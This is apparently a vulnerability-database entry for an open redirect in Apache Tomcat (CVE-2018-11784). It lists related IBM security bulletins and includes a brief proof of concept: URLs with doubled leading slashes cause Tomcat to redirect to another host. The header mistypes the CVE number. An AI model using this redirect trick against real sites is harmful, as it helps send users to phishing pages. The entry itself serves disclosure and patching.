Apache Tomcat 9.0.0M1 Open Redirect

🗓️ 11 Jul 2021 00:00:00Reported by Central InfosecType

packetstorm🔗 packetstormsecurity.com👁 453 Views

Apache Tomcat 9.0.0M1 Open Redirect CVE-2018-1178

Reporter	Title	Published	Views	Family All 210
IBM Security Bulletins	Security Bulletin: A vulnerability in Apache Tomcat affects the IBM FlashSystem 840 and 900	18 Feb 202301:45	–	ibm
IBM Security Bulletins	Security Bulletin: Open Source Apache Tomcat vulnerabilities affect IBM Tivoli Application Dependency Discovery Manager (TADDM) (CVE-2018-11784)	27 Mar 201912:55	–	ibm
IBM Security Bulletins	Security Bulletin: IBM QRadar SIEM is vulnerable to Apache Tomcat Publicly disclosed vulnerability (CVE-2018-11784)	5 Mar 201918:10	–	ibm
IBM Security Bulletins	Security Bulletin: IBM WebSphere Cast Iron Solution is affected by Apache Tomcat vulnerabilities (CVE-2018-11784, CVE-2018-8034)	4 Feb 201913:05	–	ibm
IBM Security Bulletins	Security Bulletin: A vulnerability in Apache Tomcat affects the IBM FlashSystem V840 and V9000	3 Jul 201917:00	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Integration Bus affected by Apache Tomcat (core only) vulnerability CVE-2018-11784	23 Mar 202020:41	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Cognos Business Intelligence has addressed multiple vulnerabilties	19 Dec 201921:01	–	ibm
IBM Security Bulletins	Security Bulletin: Resilient is vulnerable to Using Components with Known Vulnerabilities	19 Apr 202121:45	–	ibm
IBM Security Bulletins	Security Bulletin: Rational DOORS Web Access is affected by Apache Tomcat vulnerabilities	23 Oct 201817:25	–	ibm
IBM Security Bulletins	Security Bulletin: Rational Build Forge Security Advisory for Apache Tomcat and Apache HTTP Server (CVE-2018-11763; CVE-2018-11784)	15 Nov 201817:45	–	ibm

`# Exploit Title: Apache Tomcat 9.0.0.M1 - Open Redirect  
# Date: 10/04/2018  
# Exploit Author: Central InfoSec  
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.11, 8.5.0 to 8.5.33, and 7.0.23 to 7.0.90  
# CVE : CVE-2018-11784  
  
# Proof of Concept:  
  
# Identify a subfolder within your application  
http://example.com/test/  
  
# Modify the URL to include at least 2 leading slashes before the subfolder and no trailing slash  
http://example.com//test  
  
# Browse to the newly created URL and the application will perform a redirection  
http://test/  
`

11 Jul 2021 00:00Current

5.7Medium risk

Vulners AI Score5.7

EPSS0.82624